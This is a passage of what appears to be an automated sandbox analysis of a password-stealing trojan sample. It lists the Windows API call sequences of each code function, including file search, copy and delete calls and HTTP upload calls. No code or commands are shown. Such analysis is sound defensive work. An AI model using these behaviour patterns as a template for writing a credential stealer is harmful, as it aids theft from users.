reateSemaphoreA,ReleaseSemaphore,GetLastError,OutputDebugStringA,CreateWaitableTimerA,GetLastError,CancelWaitableTimer,LocalAlloc,StrCpyW,LocalFree,LocalFree,	0_2_0040F04B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_004108CA FindFirstFileA,FindClose,CreateEventA,SetEvent,ResetEvent,CreateWaitableTimerA,CancelWaitableTimer,SetEnvironmentVariableA,CancelWaitableTimer,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,LocalAlloc,SetEnvironmentVariableA,LocalFree,OutputDebugStringA,CreateSemaphoreA,CreateSemaphoreA,ReleaseSemaphore,CreateFileMappingW,RegOpenKeyExA,RegOpenKeyExA,CreateToolhelp32Snapshot,FindFirstFileA,FindClose,CreateSemaphoreA,ReleaseSemaphore,SetEnvironmentVariableA,OutputDebugStringA,CreateMutexA,ReleaseMutex,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,RegOpenKeyExA,CreateWaitableTimerA,RegOpenKeyExA,CancelWaitableTimer,Process32FirstW,lstrcmpiW,CreateWaitableTimerA,CreateWaitableTimerA,CancelWaitableTimer,GetLastError,LocalAlloc,SetEnvironmentVariableA,LocalFree,CreateWaitableTimerA,GetLastError,CancelWaitableTimer,FindFirstFileA,FindClose,CreateFileMappingW,OutputDebugStringA,OutputDebugStringA,CloseHandle,OutputDebugStringA,CreateSemaphoreA,CreateSemaphoreA,ReleaseSemaphore,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,OpenProcess,TerminateProcess,CloseHandle,Process32NextW,CloseHandle,	0_2_004108CA
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_0040A1CD RegOpenKeyExA,OutputDebugStringA,CreateWaitableTimerA,RegOpenKeyExA,CancelWaitableTimer,CancelWaitableTimer,CreateWaitableTimerA,CancelWaitableTimer,CreateMutexA,OutputDebugStringA,OutputDebugStringA,ReleaseMutex,GetLastError,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,FindFirstFileA,FindClose,CreateFileMappingW,CloseHandle,CreateSemaphoreA,ReleaseSemaphore,GetLastError,CreateSemaphoreA,LocalAlloc,LocalAlloc,LocalAlloc,StrStrW,OutputDebugStringA,lstrlenW,lstrlenW,StrToIntW,RegOpenKeyExA,CreateWaitableTimerA,CancelWaitableTimer,CancelWaitableTimer,OutputDebugStringA,CreateSemaphoreA,ReleaseSemaphore,SetEnvironmentVariableA,LocalAlloc,LocalFree,RegOpenKeyExA,CreateWaitableTimerA,CancelWaitableTimer,OutputDebugStringA,CreateEventA,SetEvent,ResetEvent,CreateFileMappingW,OutputDebugStringA,FindCloseChangeNotification,CreateSemaphoreA,LocalFree,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,CancelWaitableTimer,CreateSemaphoreA,ReleaseSemaphore,GetLastError,RegOpenKeyExA,CreateSemaphoreA,ReleaseSemaphore,CreateWaitableTimerA,CancelWaitableTimer,CreateMutexA,OutputDebugStringA,ReleaseMutex,OutputDebugStringA,CreateFileMappingW,SetEnvironmentVariableA,InternetOpenW,InternetConnectW,HttpOpenRequestW,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,CreateEventA,SetEvent,ResetEvent,LocalAlloc,LocalFree,OutputDebugStringA,FindFirstFileA,FindClose,SetEnvironmentVariableA,CreateMutexA,ReleaseMutex,GetLastError,CreateWaitableTimerA,GetLastError,CancelWaitableTimer,SetEnvironmentVariableA,lstrlenA,lstrlenW,HttpSendRequestW,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,CreateEventA,SetEvent,ResetEvent,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,SetEnvironmentVariableA,FindFirstFileA,FindClose,LocalAlloc,LocalFree,CreateFileMappingW,CloseHandle,CreateMutexA,SetEnvironmentVariableA,ReleaseMutex,GetLastError,CreateWaitableTimerA,GetLastError,CancelWaitableTimer,CancelWaitableTimer,CreateWaitableTimerA,CancelWaitableTimer,SetEnvironmentVariableA,InternetReadFile,InternetReadFile,OutputDebugStringA,InternetCloseHandle,InternetCloseHandle,CreateMutexA,RegOpenKeyExA,ReleaseMutex,OutputDebugStringA,RegOpenKeyExA,CreateSemaphoreA,OutputDebugStringA,ReleaseSemaphore,OutputDebugStringA,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,RegOpenKeyExA,FindFirstFileA,FindClose,CreateSemaphoreA,ReleaseSemaphore,LocalAlloc,GetLastError,LocalFree,InternetCloseHandle,CreateSemaphoreA,GetLastError,ReleaseSemaphore,CreateWaitableTimerA,RegOpenKeyExA,CancelWaitableTimer,CancelWaitableTimer,SetEnvironmentVariableA,SetEnvironmentVariableA,FindFirstFileA,FindClose,CreateSemaphoreA,ReleaseSemaphore,SetEnvironmentVariableA,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,OutputDebugStringA,LocalAlloc,LocalFree,lstrlenA,MultiByteToWideChar,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,LocalAlloc,GetLastError,LocalFree,OutputDebugStringA,CreateWaitableTimerA	0_2_0040A1CD
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_0040F9D2 OutputDebugStringA,GetLastError,RegOpenKeyExA,lstrlenA,LocalAlloc,LocalFree,RegOpenKeyExA,RegOpenKeyExA,FindFirstFileA,FindClose,CreateMutexA,OutputDebugStringA,OutputDebugStringA,ReleaseMutex,CreateEventA,SetEvent,ResetEvent,CreateFileMappingW,FindCloseChangeNotification,OutputDebugStringA,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,RegOpenKeyExA,OutputDebugStringA,LocalAlloc,MultiByteToWideChar,OutputDebugStringA,CreateWaitableTimerA,RegOpenKeyExA,CancelWaitableTimer,RegOpenKeyExA,CreateSemaphoreA,ReleaseSemaphore,GetLastError,GetLastError,LocalAlloc,LocalFree,GetLastError,CreateMutexA,SetEnvironmentVariableA,ReleaseMutex,SetEnvironmentVariableA,CreateSemaphoreA,RegOpenKeyExA,ReleaseSemaphore,SetEnvironmentVariableA,RegOpenKeyExA,	0_2_0040F9D2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_00408CDA EntryPoint,CreateWaitableTimerA,CreateWaitableTimerA,OutputDebugStringA,OutputDebugStringA,CancelWaitableTimer,CancelWaitableTimer,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,FindFirstFileA,FindClose,CreateSemaphoreA,ReleaseSemaphore,SetEnvironmentVariableA,GetLastError,GetLastError,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,SetEnvironmentVariableA,LocalAlloc,LocalFree,OutputDebugStringA,CreateMutexA,RegOpenKeyExA,RegOpenKeyExA,ReleaseMutex,RegOpenKeyExA,OutputDebugStringA,SetEnvironmentVariableA,CoInitialize,CreateMutexA,ReleaseMutex,GetLastError,RegOpenKeyExA,RegOpenKeyExA,LocalAlloc,RegOpenKeyExA,LocalFree,OutputDebugStringA,CreateFileMappingW,RegOpenKeyExA,FindCloseChangeNotification,CreateWaitableTimerA,CancelWaitableTimer,RegOpenKeyExA,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,CreateEventA,SetEvent,ResetEvent,CreateSemaphoreA,OutputDebugStringA,CreateFileMappingW,SetEnvironmentVariableA,FindCloseChangeNotification,CreateWaitableTimerA,CancelWaitableTimer,SetEnvironmentVariableA,CreateMutexA,OutputDebugStringA,ReleaseMutex,CreateSemaphoreA,RegOpenKeyExA,ReleaseSemaphore,OutputDebugStringA,CreateWaitableTimerA,CreateWaitableTimerA,CancelWaitableTimer,SetEnvironmentVariableA,OutputDebugStringA,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,GetLastError,CreateEventA,SetEvent,ResetEvent,CreateWaitableTimerA,CancelWaitableTimer,OutputDebugStringA,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,SetEnvironmentVariableA,CreateFileMappingW,CloseHandle,GetLastError,GetLastError,CreateMutexA,SetEnvironmentVariableA,ReleaseMutex,SetEnvironmentVariableA,OutputDebugStringA,ExitProcess,CreateMutexA,GetLastError,ReleaseMutex,SetEnvironmentVariableA,CreateFileMappingW,FindCloseChangeNotification,GetLastError,FindFirstFileA,FindClose,CreateEventA,SetEvent,ResetEvent,LocalAlloc,LocalFree,OutputDebugStringA,CreateSemaphoreA,RegOpenKeyExA,ReleaseSemaphore,SetEnvironmentVariableA,LocalAlloc,LocalAlloc,StrCpyW,StrCpyW,LocalFree,LocalAlloc,CreateWaitableTimerA,CreateWaitableTimerA,SetEnvironmentVariableA,SetEnvironmentVariableA,CancelWaitableTimer,SetEnvironmentVariableA,OutputDebugStringA,OutputDebugStringA,OutputDebugStringA,CreateWaitableTimerA,CancelWaitableTimer,RegOpenKeyExA,RegOpenKeyExA,CreateMutexA,RegOpenKeyExA,ReleaseMutex,CreateEventA,SetEvent,ResetEvent,LocalAlloc,GetLastError,LocalFree,FindFirstFileA,FindClose,CreateFileMappingW,RegOpenKeyExA,lstrlenW,CreateWaitableTimerA,CancelWaitableTimer,CreateEventA,SetEvent,ResetEvent,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,OutputDebugStringA,LocalAlloc,GetLastError,LocalFree,CreateSemaphoreA,RegOpenKeyExA,ReleaseSemaphore,ReleaseSemaphore,SetEnvironmentVariableA,RegOpenKeyExA,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,CreateMutexA,ReleaseMutex,SetEnvironmentVariableA,lstrlenW,LocalFree,LocalFree,StrCpyW,LocalFree,LocalAlloc,GetLastError,LocalFree,CreateWaitableTimerA,CancelWaitableTimer,GetLastError,FindF	0_2_00408CDA
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_00404C62 StrStrW,StrStrW,StrStrW,lstrlenW,LocalAlloc,lstrlenW,LocalAlloc,lstrlenW,LocalAlloc,StrStrW,StrStrW,LocalAlloc,PathCombineW,LocalAlloc,FindFirstFileW,StrStrW,LocalAlloc,StrCpyW,StrRChrW,StrRChrW,LocalAlloc,PathCombineW,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,StrStrW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,	0_2_00404C62
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_0040FC69 lstrlenW,lstrlenW,LocalAlloc,CreateMutexA,SetEnvironmentVariableA,SetEnvironmentVariableA,ReleaseMutex,LocalAlloc,RegOpenKeyExA,RegOpenKeyExA,LocalFree,CreateFileMappingW,RegOpenKeyExA,FindCloseChangeNotification,CreateSemaphoreA,CreateSemaphoreA,ReleaseSemaphore,SetEnvironmentVariableA,SetEnvironmentVariableA,CreateEventA,SetEvent,ResetEvent,ResetEvent,CreateSemaphoreA,ReleaseSemaphore,CreateWaitableTimerA,CreateWaitableTimerA,OutputDebugStringA,LocalAlloc,GetLastError,LocalFree,SetEnvironmentVariableA,CreateWaitableTimerA,RegOpenKeyExA,CancelWaitableTimer,SetEnvironmentVariableA,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,CreateEventA,SetEvent,ResetEvent,FindFirstFileA,FindClose,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,CreateMutexA,GetLastError,ReleaseMutex,SetEnvironmentVariableA,GlobalFree,	0_2_0040FC69
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_0041046B CreateFileMappingW,CloseHandle,SetEnvironmentVariableA,CreateWaitableTimerA,GetLastError,CancelWaitableTimer,LocalAlloc,RegOpenKeyExA,RegOpenKeyExA,LocalFree,CreateEventA,SetEvent,ResetEvent,FindFirstFileA,FindClose,CreateMutexA,CreateMutexA,ReleaseMutex,ReleaseMutex,RegOpenKeyExA,LocalAlloc,CreateMutexA,OutputDebugStringA,ReleaseMutex,OutputDebugStringA,GetLastError,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,CreateEventA,SetEvent,ResetEvent,RegOpenKeyExA,CreateSemaphoreA,ReleaseSemaphore,LocalAlloc,RegOpenKeyExA,LocalFree,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,CancelWaitableTimer,CreateWaitableTimerA,CancelWaitableTimer,OutputDebugStringA,LocalAlloc,CreateFileMappingW,OutputDebugStringA,CloseHandle,CreateWaitableTimerA,CancelWaitableTimer,CreateMutexA,ReleaseMutex,OutputDebugStringA,CreateEventA,SetEvent,ResetEvent,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,SetEnvironmentVariableA,SetEnvironmentVariableA,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,StrCpyW,LocalFree,	0_2_0041046B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_0040ACF1 FindFirstFileA,FindClose,CreateSemaphoreA,OutputDebugStringA,OutputDebugStringA,ReleaseSemaphore,GetLastError,GetLastError,CreateMutexA,ReleaseMutex,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,OutputDebugStringA,CreateEventA,SetEvent,ResetEvent,CreateWaitableTimerA,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,RegOpenKeyExA,CreateFileMappingW,CloseHandle,LocalAlloc,LocalAlloc,LocalAlloc,CreateWaitableTimerA,CancelWaitableTimer,CreateSemaphoreA,ReleaseSemaphore,FindFirstFileA,FindClose,CreateMutexA,ReleaseMutex,RegOpenKeyExA,CreateFileMappingW,OutputDebugStringA,CloseHandle,SetEnvironmentVariableA,LocalAlloc,LocalFree,RegOpenKeyExA,CreateSemaphoreA,RegOpenKeyExA,ReleaseSemaphore,GetLastError,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,RegOpenKeyExA,CreateEventA,SetEvent,StrStrW,GetLastError,OutputDebugStringA,lstrlenW,lstrlenW,StrToIntW,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,CreateFileMappingW,SetEnvironmentVariableA,CloseHandle,CreateSemaphoreA,SetEnvironmentVariableA,ReleaseSemaphore,FindFirstFileA,FindClose,CreateMutexA,GetLastError,ReleaseMutex,SetEnvironmentVariableA,CreateWaitableTimerA,CreateWaitableTimerA,CancelWaitableTimer,OutputDebugStringA,LocalAlloc,LocalFree,RegOpenKeyExA,GetLastError,CreateWaitableTimerA,LocalFree,LocalAlloc,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,CreateFileMappingW,CloseHandle,GetLastError,SetEnvironmentVariableA,CreateMutexA,OutputDebugStringA,ReleaseMutex,RegOpenKeyExA,CreateEventA,SetEvent,ResetEvent,FindFirstFileA,FindClose,LocalAlloc,GetLastError,LocalFree,OutputDebugStringA,CreateWaitableTimerA,SetEnvironmentVariableA,SetEnvironmentVariableA,CancelWaitableTimer,SetEnvironmentVariableA,OutputDebugStringA,CreateSemaphoreA,FindFirstFileA,FindClose,CreateWaitableTimerA,CancelWaitableTimer,SetEnvironmentVariableA,OutputDebugStringA,CreateSemaphoreA,ReleaseSemaphore,CreateFileMappingW,GetLastError,CloseHandle,CreateSemaphoreA,OutputDebugStringA,ReleaseSemaphore,GetLastError,OutputDebugStringA,CreateEventA,SetEvent,ResetEvent,CreateWaitableTimerA,CreateWaitableTimerA,CancelWaitableTimer,LocalFree,WideCharToMultiByte,LocalAlloc,LocalAlloc,LocalAlloc,RegOpenKeyExA,LocalFree,GetLastError,CreateSemaphoreA,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,FindFirstFileA,FindClose,CreateEventA,SetEvent,ResetEvent,CreateWaitableTimerA,CancelWaitableTimer,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,SetEnvironmentVariableA,CreateFileMappingW,GetLastError,CloseHandle,LocalAlloc,RegOpenKeyExA,LocalFree,OutputDebugStringA,CreateMutexA,GetLastError,ReleaseMutex,RegOpenKeyExA,GetLastError,CreateEventA,SetEvent,ResetEvent,FindFirstFileA,FindClose,CreateSemaphoreA,CreateSemaphoreA,ReleaseSemaphore,CreateSemaphoreA,ReleaseSemaphore,GetLastError,lstrlenA,lstrcpyn,LocalFree,LocalFree,GetFileSize,LocalAlloc,RegOpenKeyExA,CreateWaitableTimerA,SetEnvir	0_2_0040ACF1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_00407A7B LocalAlloc,StrCpyW,FindFirstFileW,LocalAlloc,PathCombineW,lstrcmpW,LocalAlloc,LocalAlloc,LocalAlloc,StrCpyW,StrCpyW,StrCpyW,LocalAlloc,LocalAlloc,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,WideCharToMultiByte,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,	0_2_00407A7B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_0040FEFF OutputDebugStringA,GetLastError,lstrlenA,lstrlenA,LocalAlloc,CreateWaitableTimerA,GetLastError,CancelWaitableTimer,CancelWaitableTimer,CreateWaitableTimerA,CancelWaitableTimer,CreateEventA,SetEvent,ResetEvent,CreateSemaphoreA,CreateSemaphoreA,ReleaseSemaphore,FindFirstFileA,FindClose,CreateSemaphoreA,ReleaseSemaphore,GetLastError,LocalAlloc,LocalFree,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,OutputDebugStringA,OutputDebugStringA,FindFirstFileA,FindClose,CreateEventA,SetEvent,ResetEvent,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,RegOpenKeyExA,CreateWaitableTimerA,RegOpenKeyExA,CancelWaitableTimer,OutputDebugStringA,CreateMutexA,GetLastError,ReleaseMutex,OutputDebugStringA,RegOpenKeyExA,GlobalFree,	0_2_0040FEFF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_00401000 OutputDebugStringA,CreateWaitableTimerA,RegOpenKeyExA,CreateFileMappingW,FindCloseChangeNotification,CreateEventA,SetEvent,ResetEvent,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,RegOpenKeyExA,CreateWaitableTimerA,CancelWaitableTimer,GetLastError,GetLastError,LocalAlloc,RegOpenKeyExA,LocalFree,OutputDebugStringA,OutputDebugStringA,CreateWaitableTimerA,CancelWaitableTimer,CancelWaitableTimer,CreateMutexA,ReleaseMutex,GetLastError,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,GetLastError,RegOpenKeyExA,GetLastError,CreateMutexA,GetLastError,ReleaseMutex,OutputDebugStringA,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,CreateFileMappingW,OutputDebugStringA,FindCloseChangeNotification,CreateSemaphoreA,RegOpenKeyExA,ReleaseSemaphore,RegOpenKeyExA,SetEnvironmentVariableA,LoadLibraryW,CreateMutexA,ReleaseMutex,GetLastError,FindFirstFileA,FindClose,CreateWaitableTimerA,CancelWaitableTimer,OutputDebugStringA,CreateFileMappingW,FindCloseChangeNotification,SetEnvironmentVariableA,LocalAlloc,GetLastError,LocalFree,CreateWaitableTimerA,RegOpenKeyExA,RegOpenKeyExA,CancelWaitableTimer,OutputDebugStringA,LocalAlloc,LocalFree,GetLastError,CreateSemaphoreA,ReleaseSemaphore,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,CreateWaitableTimerA,GetLastError,CancelWaitableTimer,OutputDebugStringA,RegOpenKeyExA,FindFirstFileA,FindClose,CreateMutexA,OutputDebugStringA,ReleaseMutex,GetProcAddress,SetEnvironmentVariableA,LocalAlloc,LocalFree,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,GetLastError,CreateMutexA,OutputDebugStringA,RegOpenKeyExA,ReleaseMutex,RegOpenKeyExA,CreateEventA,SetEvent,ResetEvent,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,CancelWaitableTimer,CreateWaitableTimerA,CancelWaitableTimer,CreateFileMappingW,GetLastError,FindCloseChangeNotification,GetLastError,FindFirstFileA,FindClose,CreateWaitableTimerA,CancelWaitableTimer,RegOpenKeyExA,CreateSemaphoreA,ReleaseSemaphore,CreateEventA,SetEvent,ResetEvent,LocalAlloc,LocalFree,RegOpenKeyExA,RegOpenKeyExA,CreateMutexA,RegOpenKeyExA,ReleaseMutex,OutputDebugStringA,GetLastError,CreateSemaphoreA,GetLastError,ReleaseSemaphore,GetLastError,GetProcAddress,GetProcAddress,CreateEventA,SetEvent,ResetEvent,CreateSemaphoreA,ReleaseSemaphore,GetLastError,CreateMutexA,ReleaseMutex,SetEnvironmentVariableA,CreateFileMappingW,RegOpenKeyExA,FindCloseChangeNotification,SetEnvironmentVariableA,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,OutputDebugStringA,LocalAlloc,LocalFree,OutputDebugStringA,OutputDebugStringA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,CreateEventA,SetEvent,ResetEvent,OutputDebugStringA,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,SetEnvironmentVariableA,LocalAlloc,GetLastError,LocalFree,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,CreateWaitableTim	0_2_00401000
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_00411583 LocalAlloc,StrCpyW,FindFirstFileW,LocalAlloc,PathCombineW,LocalFree,LocalAlloc,PathCombineW,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,LocalAlloc,lstrlenW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CloseHandle,DeleteFileW,LocalAlloc,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,FindNextFileW,LocalFree,FindClose,	0_2_00411583
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_0040D804 LocalAlloc,StrCpyW,FindFirstFileW,LocalFree,LocalAlloc,PathCombineW,LocalAlloc,PathCombineW,LocalAlloc,StrCpyW,LocalAlloc,lstrlenW,LocalFree,LocalFree,LocalAlloc,CopyFileW,CreateFileW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalFree,CloseHandle,DeleteFileW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,FindClose,	0_2_0040D804
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_0040EA07 OutputDebugStringA,GetLastError,RegOpenKeyExA,SetEnvironmentVariableA,SetEnvironmentVariableA,CreateWaitableTimerA,CancelWaitableTimer,RegOpenKeyExA,RegOpenKeyExA,LocalAlloc,SetEnvironmentVariableA,LocalFree,RegOpenKeyExA,CreateMutexA,ReleaseMutex,SetEnvironmentVariableA,OutputDebugStringA,RegOpenKeyExA,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,GetLastError,CreateEventA,SetEvent,ResetEvent,FindFirstFileA,FindClose,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,SetEnvironmentVariableA,OpenMutexW,CreateMutexW,	0_2_0040EA07
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_0040869C LocalAlloc,LocalAlloc,LocalAlloc,PathCombineW,PathCombineW,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,ReadFile,lstrlenA,StrStrA,lstrlenA,StrStrA,LocalAlloc,FindFirstFileW,StrStrW,StrStrW,lstrlenW,lstrlenW,LocalAlloc,StrStrW,StrCpyW,LocalAlloc,PathCombineW,PathCombineW,LocalFree,FindNextFileW,FindClose,LocalFree,CloseHandle,DeleteFileW,LocalFree,DeleteFileW,LocalFree,	0_2_0040869C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_0040F39D CreateWaitableTimerA,RegOpenKeyExA,RegOpenKeyExA,GetLastError,CancelWaitableTimer,OutputDebugStringA,GetLastError,CreateFileMappingW,CloseHandle,GetLastError,LocalAlloc,RegOpenKeyExA,LocalFree,RegOpenKeyExA,CreateMutexA,GetLastError,ReleaseMutex,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,CreateEventA,SetEvent,ResetEvent,CreateSemaphoreA,GetLastError,ReleaseSemaphore,OutputDebugStringA,lstrlenW,LocalAlloc,CreateMutexA,GetLastError,ReleaseMutex,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,CreateSemaphoreA,ReleaseSemaphore,SetEnvironmentVariableA,CreateWaitableTimerA,CancelWaitableTimer,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,RegOpenKeyExA,LocalAlloc,RegOpenKeyExA,LocalFree,RegOpenKeyExA,CreateFileMappingW,CloseHandle,GetLastError,CreateEventA,SetEvent,ResetEvent,FindFirstFileA,FindClose,CreateSemaphoreA,lstrlenW,LocalAlloc,StrStrW,lstrlenW,StrCpyW,LocalFree,StrCpyW,LocalFree,	0_2_0040F39D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_0040C39E OutputDebugStringA,CreateEventA,SetEvent,ResetEvent,CreateSemaphoreA,ReleaseSemaphore,GetLastError,GetLastError,SetEnvironmentVariableA,LocalAlloc,OutputDebugStringA,LocalFree,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,CreateWaitableTimerA,CreateWaitableTimerA,CancelWaitableTimer,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,GetLastError,FindFirstFileA,FindClose,CreateMutexA,RegOpenKeyExA,ReleaseMutex,SetEnvironmentVariableA,CreateFileMappingW,GetLastError,CloseHandle,OutputDebugStringA,FindFirstFileA,FindClose,CreateSemaphoreA,GetLastError,ReleaseSemaphore,OutputDebugStringA,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,GetLastError,LocalAlloc,lstrcmpW,LocalFree,LocalFree,	0_2_0040C39E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_004064A0 LocalAlloc,StrCpyW,FindFirstFileW,LocalFree,LocalAlloc,PathCombineW,LocalAlloc,PathCombineW,LocalAlloc,StrCpyW,LocalAlloc,lstrlenW,LocalFree,LocalFree,LocalAlloc,CopyFileW,CreateFileW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalFree,CloseHandle,DeleteFileW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,FindClose,	0_2_004064A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_004101A4 CreateWaitableTimerA,CreateWaitableTimerA,CancelWaitableTimer,SetEnvironmentVariableA,CancelWaitableTimer,SetEnvironmentVariableA,FindFirstFileA,FindClose,CreateSemaphoreA,ReleaseSemaphore,SetEnvironmentVariableA,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,GetLastError,OutputDebugStringA,GetLastError,CreateFileMappingW,FindCloseChangeNotification,GetLastError,CreateEventA,CreateEventA,SetEvent,SetEvent,LocalAlloc,CreateEventA,SetEvent,ResetEvent,CreateMutexA,ReleaseMutex,SetEnvironmentVariableA,GetLastError,OutputDebugStringA,LocalAlloc,GetLastError,LocalFree,CreateWaitableTimerA,CreateWaitableTimerA,CancelWaitableTimer,CancelWaitableTimer,CreateWaitableTimerA,CancelWaitableTimer,CreateFileMappingW,FindCloseChangeNotification,FindFirstFileA,FindClose,RegOpenKeyExA,CreateSemaphoreA,ReleaseSemaphore,SetEnvironmentVariableA,RegOpenKeyExW,RegQueryValueExW,RegCloseKey,	0_2_004101A4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_00407425 RegOpenKeyExA,OutputDebugStringA,FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalFree,FindNextFileW,FindClose,lstrlenW,	0_2_00407425
